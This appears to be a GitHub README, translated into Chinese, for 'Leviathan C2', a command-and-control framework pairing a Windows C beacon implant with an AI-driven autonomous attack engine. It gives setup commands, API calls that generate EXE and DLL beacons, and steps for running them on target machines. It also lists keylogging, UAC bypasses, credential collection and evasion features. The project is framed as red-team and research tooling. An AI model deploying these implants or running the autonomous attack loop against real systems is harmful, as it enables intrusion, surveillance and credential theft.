veeramani110400/Leviathan-c2

GitHub: veeramani110400/Leviathan-c2

一款集成了 AI 攻击引擎的轻量级 C2 框架,用于红队自动化渗透测试与命令控制。

Stars: 0 | Forks: 0

# 🔱 Leviathan C2 **自定义命令与控制框架** — Python FastAPI 服务器、C Beacon (Windows)、React UI 以及 AI 驱动的攻击引擎。 ``` ┌────────────────────────────────────────────────────────────────────┐ │ LEVIATHAN C2 │ │ │ │ ┌──────────┐ ┌──────────────┐ ┌─────────────────────┐ │ │ │ React UI │◄──►│ FastAPI Server│◄──►│ C Beacon (Windows) │ │ │ │ :3000 │ WS │ :9999 │HTTP│ :8443 │ │ │ └──────────┘ └──────┬───────┘ └─────────────────────┘ │ │ │ │ │ ┌──────┴───────┐ │ │ │ AI Attack │ │ │ │ Engine v0.6 │ │ │ │ (12 modules) │ │ │ └──────────────┘ │ └────────────────────────────────────────────────────────────────────┘ ``` ## 📋 目录 1. [架构概述](#architecture-overview) 2. [前置条件](#prerequisites) 3. [快速开始 (5 分钟)](#quick-start) 4. [详细安装 — Linux](#detailed-setup--linux) 5. [详细安装 — Windows](#detailed-setup--windows) 6. [生成与部署 Beacon](#generating--deploying-beacons) 7. [AI 攻击引擎设置](#ai-attack-engine-setup) 8. [验证与健康检查](#verification--health-checks) 9. [防火墙 / 网络配置](#firewall--network-config) 10. [故障排除](#troubleshooting) 11. [项目结构](#project-structure) 12. [功能总结](#feature-summary) ## 架构概述 | 组件 | 技术 | 默认端口 | 用途 | |-----------|------------|--------------|---------| | **Server** | Python FastAPI + uvicorn | `9999` | REST API, WebSocket, 任务队列, 数据库 | | **Listener** | 动态生成的 HTTP 服务器 | `8443` (可配置) | Beacon 回调处理器 | | **UI** | React 19 + Vite + Tailwind CSS | `3000` | 操作员仪表盘 | | **Beacon** | C (WinHTTP, mingw-w64 交叉编译) | — | Windows 植入物 | | **AI Engine** | Python (12 个模块,11,400+ 行代码) | — | 自主攻击规划与执行 | | **Database** | SQLite (`leviathan.db` + `modules.db`) | — | 持久化层 | ## 前置条件 ### 必需项 | 软件 | 最低版本 | 用途 | |----------|----------------|---------| | **Python** | 3.10+ | 后端服务器 | | **Node.js** | 18+ | UI 构建与开发服务器 | | **npm** | 9+ | 包管理 | | **mingw-w64** | 任意近期版本 | 为 Windows 交叉编译 C Beacon | ### 可选项(用于 AI 攻击引擎) | 软件 | 用途 | |----------|---------| | **MiniMax API key** | AI 驱动的攻击规划(阶段 3)。若无此 key,将回退到确定性规划器 | ### 检查版本 ``` python3 --version # 3.10+ node --version # 18+ npm --version # 9+ x86_64-w64-mingw32-gcc --version # any ``` ## 快速开始 **面向有经验的操作员** — 5 条命令即可运行: ``` # 1. Clone & enter git clone https://github.com/veeramani110400/Leviathan-c2.git && cd Leviathan-c2 # 2. Backend cd server && python3 -m venv ../venv && source ../venv/bin/activate && pip install -r requirements.txt # 3. 启动服务器(后台) uvicorn main:app --host 0.0.0.0 --port 9999 & # 4. UI cd ../ui && npm install && npm run dev -- --host 0.0.0.0 & # 5. 打开浏览器 echo "→ http://$(hostname -I | awk '{print $1}'):3000" ``` 随后:**创建 Listener → 生成 Payload → 在 Windows 目标上运行 → 交互。** ## 详细安装 — Linux ### 步骤 1:克隆仓库 ``` cd /opt sudo git clone https://github.com/veeramani110400/Leviathan-c2.git Leviathan_C2 sudo chown -R $(whoami):$(whoami) /opt/Leviathan_C2 cd /opt/Leviathan_C2 ``` ### 步骤 2:安装系统依赖 **Ubuntu / Debian:** ``` sudo apt update sudo apt install -y python3 python3-venv python3-pip nodejs npm mingw-w64 ``` **RHEL / CentOS / Fedora:** ``` sudo dnf install -y python3 python3-pip nodejs npm mingw64-gcc ``` **Arch Linux:** ``` sudo pacman -S python nodejs npm mingw-w64-gcc ``` ### 步骤 3:配置 Python 后端 ``` cd /opt/Leviathan_C2 # 创建虚拟环境 python3 -m venv venv source venv/bin/activate # 安装依赖 pip install -r server/requirements.txt ``` **`requirements.txt` 会安装:** `fastapi`, `uvicorn[standard]`, `aiosqlite`, `pydantic`, `websockets`, `httpx` ### 步骤 4:修复 Linux 上的 GCC 路径(如有需要) Payload 构建器可能硬编码了 Windows 编译器路径。请按以下方式修复: ``` sed -i 's|r"C:\\\\msys64\\\\ucrt64\\\\bin\\\\gcc.exe"|"/usr/bin/x86_64-w64-mingw32-gcc"|' \ server/routes/payloads.py ``` 验证: ``` grep -n "gcc" server/routes/payloads.py ``` ### 步骤 5:配置 React UI ``` cd /opt/Leviathan_C2/ui npm install ``` ### 步骤 6:启动服务器 ``` cd /opt/Leviathan_C2/server source ../venv/bin/activate # 选项 A:前台(查看日志) uvicorn main:app --host 0.0.0.0 --port 9999 # 选项 B:后台 uvicorn main:app --host 0.0.0.0 --port 9999 & # 选项 C:带自动重载(开发) uvicorn main:app --host 0.0.0.0 --port 9999 --reload ``` 预期启动输出: ``` [*] Leviathan C2 Server started [*] Database initialized INFO: Uvicorn running on http://0.0.0.0:9999 ``` ### 步骤 7:启动 UI ``` cd /opt/Leviathan_C2/ui # 选项 A:开发模式(热重载) npm run dev -- --host 0.0.0.0 # 选项 B:生产构建 npm run build npm run preview -- --host 0.0.0.0 ``` 预期输出: ``` VITE v6.x.x ready in XXXms ➜ Local: http://localhost:3000/ ➜ Network: http://0.0.0.0:3000/ ``` ### 步骤 8:访问仪表盘 在浏览器中打开: ``` http://:3000 ``` ## 详细安装 — Windows ### 步骤 1:前置条件 - 安装 [Python 3.10+](https://www.python.org/downloads/) - 安装 [Node.js 18+](https://nodejs.org/) - 安装 [MSYS2](https://www.msys2.org/)(用于 mingw-w64 交叉编译器) 在 MSYS2 终端中运行: ``` pacman -S mingw-w64-ucrt-x86_64-gcc ``` ### 步骤 2:克隆与配置 ``` cd Z:\Leviathan_C2 # Backend cd server python -m venv ..\venv ..\venv\Scripts\activate pip install -r requirements.txt # UI cd ..\ui npm install ``` ### 步骤 3:启动服务 ``` # 终端 1 — 服务器 cd Z:\Leviathan_C2\server ..\venv\Scripts\python.exe -m uvicorn main:app --host 0.0.0.0 --port 9999 # 终端 2 — UI cd Z:\Leviathan_C2\ui npm run dev ``` ### 步骤 4:快速测试 ``` # 生成 beacon Invoke-RestMethod -Uri "http://localhost:9999/api/payloads/generate" -Method POST ` -ContentType "application/json" ` -Body '{"server_url":"127.0.0.1","server_port":8443,"format":"exe","sleep_interval":5}' ` -OutFile "test_beacon.exe" # 运行它 Start-Process .\test_beacon.exe # 发送命令 Invoke-RestMethod -Uri "http://localhost:9999/api/tasks" -Method POST ` -ContentType "application/json" ` -Body '{"beacon_id":"","command":"whoami"}' ``` ## 生成与部署 Beacon ### 从 UI 生成(推荐) 1. 进入 **Listeners** 页面 → 创建一个 listener(例如 `0.0.0.0:8443`) 2. **启动** 该 listener 3. 进入 **Payloads** 页面 4. 设置 `Server URL` = 你的服务器 IP(例如 `192.168.1.100`) 5. 设置 `Server Port` = listener 端口(例如 `8443`) 6. 选择格式:**EXE** 或 **DLL** 7. 点击 **Generate** → 下载 `beacon.exe` 或 `beacon.dll` 8. 传输到 Windows 目标并执行 ### 从 API 生成 ``` # EXE beacon curl -X POST http://localhost:9999/api/payloads/generate \ -H "Content-Type: application/json" \ -d '{"server_url":"192.168.1.100","server_port":8443,"format":"exe","sleep_interval":5}' \ -o beacon.exe # DLL beacon curl -X POST http://localhost:9999/api/payloads/generate \ -H "Content-Type: application/json" \ -d '{"server_url":"192.168.1.100","server_port":8443,"format":"dll","sleep_interval":5}' \ -o beacon.dll ``` ### 手动编译(替代方案) ``` cd beacon/ # 64位 EXE make exe # 64位 DLL make dll # 32位变体 make exe32 make dll32 # 所有变体 make all ``` ### 在目标上运行 Beacon ``` # EXE — 直接运行 .\beacon.exe # DLL — 通过 rundll32 rundll32.exe beacon.dll,DllMain ``` ## AI 攻击引擎设置 AI 攻击引擎(阶段 1-6)提供自主侦察、评分、规划、执行和规避能力。 ### 基础设置(无需 API Key) AI 引擎自带**确定性回退规划器**,开箱即用。无需外部 API key 即可使用以下功能: - ✅ 侦察(22 个自动化侦察命令) - ✅ 技术评分(实时评分 74 项技术) - ✅ 确定性攻击规划(基于规则) - ✅ 自动推进执行 - ✅ 规避引擎(6 项技术,12 个变体) - ✅ 凭据反馈循环 - ✅ 攻击图可视化 所有内容都会在服务器启动时通过 `seed_ai_techniques()` 自动初始化。 ### 可选:AI 驱动的规划(MiniMax M3) 如需使用 MiniMax M3 生成 AI 攻击计划: ``` # 在启动服务器之前将 API key 设置为环境变量 export MINIMAX_API_KEY="your-minimax-api-key-here" # 启动服务器(它将自动检测 key) cd server uvicorn main:app --host 0.0.0.0 --port 9999 ``` 如果没有 key,规划器会自动回退到确定性模式 — 不会报错,性能也不会下降。 ### 使用 AI 攻击引擎 1. **导航**至 UI 中的 **AI Attack** 页面(侧边栏的骷髅头图标) 2. 从下拉菜单中**选择一个 beacon** 3. 点击 **⚡ START ATTACK** 实现一键自主模式: - 自动运行 22 个侦察命令 - 根据环境自动评分 74 项技术 - 自动生成攻击计划(AI 或确定性) - 自动执行步骤并在失败时回退 - 在需要规避的技术之前自动应用规避措施 4. 或者使用**手动模式**:逐步执行 运行侦察 → 评分 → 规划 → 执行 5. 通过**攻击图**(React Flow 可视化)监控进度 6. 在侧边栏面板查看发现的**凭据** 7. 在规避面板中管理每个 beacon 的**规避状态** ### AI 攻击 API 端点 ``` # 状态检查 curl http://localhost:9999/api/ai/status # 一键攻击 curl -X POST http://localhost:9999/api/ai/attack/start \ -H "Content-Type: application/json" \ -d '{"beacon_id":"abc12345","mode":"autonomous"}' # 列出带分数的 techniques curl http://localhost:9999/api/ai/techniques # Evasion 状态 curl http://localhost:9999/api/ai/evasions/status/abc12345 ``` ## 验证与健康检查 ### 快速验证(所有服务) ``` # 检查端口是否正在监听 ss -tlnp | grep -E '9999|8443|3000' # API root curl http://localhost:9999/ # 预期:{"name":"Leviathan C2","version":"0.1.0","status":"running"} # AI Engine 状态 curl http://localhost:9999/api/ai/status # 预期:version 0.6.0,所有阶段均为 true ``` ### 完整 API 健康检查 ``` # 核心 endpoints curl -s http://localhost:9999/api/listeners/ | head -c 200 curl -s http://localhost:9999/api/beacons/ | head -c 200 curl -s http://localhost:9999/api/tasks/ | head -c 200 # Module library curl -s http://localhost:9999/api/v2/modules/ | head -c 200 curl -s http://localhost:9999/api/v2/modules/categories # AI Engine curl -s http://localhost:9999/api/ai/status curl -s http://localhost:9999/api/ai/techniques | python3 -c "import sys,json;d=json.load(sys.stdin);print(f'{len(d)} techniques loaded')" curl -s http://localhost:9999/api/ai/evasions | python3 -c "import sys,json;d=json.load(sys.stdin);print(f'{len(d)} evasion techniques')" # Cross-compiler x86_64-w64-mingw32-gcc --version ``` ### 后端编译检查 ``` cd /opt/Leviathan_C2/server python3 -m py_compile main.py db.py listener_manager.py ws.py modules_db.py seed_modules.py python3 -m py_compile routes/beacon.py routes/beacons.py routes/listeners.py routes/tasks.py python3 -m py_compile routes/modules.py routes/modules_v2.py routes/payloads.py routes/mitre.py python3 -m py_compile routes/files.py routes/ai_attack.py python3 -m py_compile ai/__init__.py ai/models.py ai/knowledge_base.py ai/seed_techniques.py python3 -m py_compile ai/recon_engine.py ai/scoring_engine.py ai/planner.py python3 -m py_compile ai/execution_engine.py ai/fallback_manager.py python3 -m py_compile ai/task_interceptor.py ai/live_loop.py ai/evasion_engine.py echo "✅ All Python files compile clean" ``` ### UI 构建检查 ``` cd /opt/Leviathan_C2/ui npm run build && echo "✅ UI builds clean" npm run lint && echo "✅ Lint passes" ``` ## 防火墙 / 网络配置 ### Linux (ufw) ``` sudo ufw allow 9999/tcp # API server sudo ufw allow 8443/tcp # Listener (beacon callbacks) sudo ufw allow 3000/tcp # UI dashboard sudo ufw reload ``` ### Linux (iptables) ``` sudo iptables -A INPUT -p tcp --dport 9999 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 8443 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 3000 -j ACCEPT ``` ### Windows 防火墙 ``` New-NetFirewallRule -DisplayName "Leviathan API" -Direction Inbound -Port 9999 -Protocol TCP -Action Allow New-NetFirewallRule -DisplayName "Leviathan Listener" -Direction Inbound -Port 8443 -Protocol TCP -Action Allow New-NetFirewallRule -DisplayName "Leviathan UI" -Direction Inbound -Port 3000 -Protocol TCP -Action Allow ``` ### 云/VPS (AWS/GCP/Azure) 将入站规则添加到您的安全组 / 防火墙中: - TCP 9999 (API) - TCP 8443 (Listener — 或您配置的任何端口) - TCP 3000 (UI) ## 故障排除 ### 服务器无法启动 ``` # 检查端口是否已被占用 lsof -i :9999 # 终止现有进程 kill $(lsof -ti :9999) # 检查 Python 版本 python3 --version # needs 3.10+ # 检查 venv 是否已激活 which python # should point to venv/bin/python ``` ### UI 无法启动 / 构建失败 ``` # 清除 node_modules 并重新安装 cd ui rm -rf node_modules package-lock.json npm install # 检查 Node 版本 node --version # needs 18+ ``` ### Beacon 无法编译 ``` # 检查 cross-compiler 是否已安装 which x86_64-w64-mingw32-gcc # Ubuntu/Debian:安装它 sudo apt install mingw-w64 # 手动测试编译 cd beacon && make clean && make exe ``` ### Beacon 无法连接 1. **验证 listener 正在运行**:检查 Listeners 页面 → 状态应为 "running" 2. **验证网络**:从目标机器执行 `curl http://:8443/`(应该得到响应) 3. **检查防火墙**:确保端口 8443 已开放(参见 [防火墙章节](#firewall--network-config)) 4. **检查 beacon 配置**:服务器 URL 和端口必须与 listener 匹配 ### 数据库重置 ``` # 完全重置 — 删除数据库并重启 cd /opt/Leviathan_C2 rm -f leviathan.db modules.db # 重启服务器(自动重建表并播种数据) cd server && uvicorn main:app --host 0.0.0.0 --port 9999 ``` ### WebSocket 未连接 - 必须通过运行服务器的同一主机访问 UI,或者使用 Vite 代理 - 检查浏览器控制台的 WebSocket 错误 - 验证 `ws://localhost:9999/ws` 是否可访问 ## 项目结构 ``` Leviathan_C2/ ├── beacon/ # C beacon source (Windows implant) │ ├── beacon.c # EXE beacon (full features) │ ├── beacon_dll.c # DLL beacon variant │ ├── beacon.h # Config & constants │ └── Makefile # Cross-compile targets │ ├── server/ # Python FastAPI backend │ ├── main.py # App entry point & lifespan │ ├── db.py # SQLite schema & helpers │ ├── ws.py # WebSocket broadcast hub │ ├── listener_manager.py # Dynamic HTTP listener spawner │ ├── modules_db.py # Module library database │ ├── seed_modules.py # Built-in technique seeder │ ├── requirements.txt # Python dependencies │ │ │ ├── routes/ # API route handlers │ │ ├── beacon.py # Beacon check-in/task/result │ │ ├── beacons.py # Operator beacon management │ │ ├── listeners.py # Listener CRUD + start/stop │ │ ├── tasks.py # Task queue & results │ │ ├── modules.py # Legacy saved commands │ │ ├── modules_v2.py # Permanent module library │ │ ├── payloads.py # Beacon compiler/generator │ │ ├── mitre.py # MITRE ATT&CK browser │ │ ├── files.py # File upload/download │ │ └── ai_attack.py # AI Attack Engine API (55+ endpoints) │ │ │ └── ai/ # AI Attack Engine (12 modules) │ ├── __init__.py # Module docstring & phase status │ ├── models.py # Pydantic data models │ ├── knowledge_base.py # 76 technique definitions │ ├── seed_techniques.py # DB seeder for techniques │ ├── recon_engine.py # 22 automated recon commands │ ├── scoring_engine.py # Real-time technique scorer │ ├── planner.py # AI + deterministic planner │ ├── execution_engine.py # Step executor + command builder │ ├── fallback_manager.py # Failure recovery engine │ ├── task_interceptor.py # Tagged result processor │ ├── live_loop.py # One-click attack orchestrator │ └── evasion_engine.py # 6 evasion techniques, 12 variants │ ├── ui/ # React frontend │ ├── src/ │ │ ├── pages/ # Page components │ │ │ ├── Dashboard.jsx │ │ │ ├── Listeners.jsx │ │ │ ├── Beacons.jsx │ │ │ ├── Interact.jsx │ │ │ ├── Modules.jsx │ │ │ ├── Payloads.jsx │ │ │ ├── Mitre.jsx │ │ │ └── AIAttack.jsx # AI Attack dashboard │ │ ├── components/ │ │ │ ├── Layout.jsx # Sidebar navigation │ │ │ └── attack/ # AI Attack UI components (8 files) │ │ │ ├── AttackGraph.jsx │ │ │ ├── ReconPanel.jsx │ │ │ ├── AIPlanPanel.jsx │ │ │ ├── TechniqueScoreCard.jsx │ │ │ ├── CredentialsList.jsx │ │ │ ├── EvasionPanel.jsx │ │ │ ├── PhaseProgress.jsx │ │ │ └── TimelineBar.jsx │ │ └── hooks/ │ │ └── useWebSocket.js │ ├── package.json │ └── vite.config.js │ ├── AI_POWERED_ATTACK/ # AI Engine documentation │ ├── ATTACK_ENGINE_PLAN.md # Phase roadmap (1-8) │ ├── AI_POWERED_ATTACK_FEATURES.md # Feature details │ └── CONTEXT_FOR_NEW_CHAT.md # Context for AI assistants │ ├── Modules/ # Technique research docs ├── leviathan.db # Operational database (auto-created) ├── modules.db # Module library (auto-created) ├── SKILLS.md # Project conventions & rules ├── LEVIATHAN_FEATURES.md # Complete feature inventory ├── ROADMAP_PHASE1.md # Original roadmap └── README.md # ← You are here ``` ## 功能总结 ### 核心 C2 | 功能 | 状态 | |---------|--------| | HTTP listener(动态生成) | ✅ | | C Beacon — EXE & DLL (Windows) | ✅ | | 任务队列(每个 beacon FIFO) | ✅ | | 文件上传/下载 | ✅ | | 截屏捕获 | ✅ | | 目录浏览器 | ✅ | | 键盘记录器(启动/转储/停止) | ✅ | | Sleep 与 jitter 控制 | ✅ | | Beacon 终止(远程退出) | ✅ | | Payload 生成器(交叉编译) | ✅ | | MITRE ATT&CK 库浏览器 | ✅ | | 模块库(8 个内置 UAC 绕过) | ✅ | | WebSocket 实时事件 | ✅ | | React 仪表盘(8 个页面) | ✅ | ### AI 攻击引擎 (v0.6.0) | 阶段 | 功能 | 状态 | |-------|---------|--------| | 1 | 知识库(76 项技术)+ 数据库 + 侦察(22 个命令) | ✅ | | 2 | 评分引擎(实时,74 项可评分技术) | ✅ | | 3 | AI 规划器(MiniMax M3 + 确定性回退)+ 执行 | ✅ | | 4 | 攻击图 UI(React Flow 可视化) | ✅ | | 5 | 集成 + 实时攻击循环(一键自主) | ✅ | | 6 | 规避引擎(6 项技术,12 个变体) | ✅ | | 7 | 横向移动 + 域提权 | 🔜 下一步 | | 8 | BOF 集成 + Token 操作 | 🔜 未来计划 | ## 许可证 本项目仅供授权的安全研究和教育目的使用。请在受控的实验室环境中负责任地使用。
标签:C2框架, IP 地址批量处理, Python, React, Syscalls, 安全学习资源, 安全攻防, 客户端加密, 无后门, 网络信息收集, 逆向工具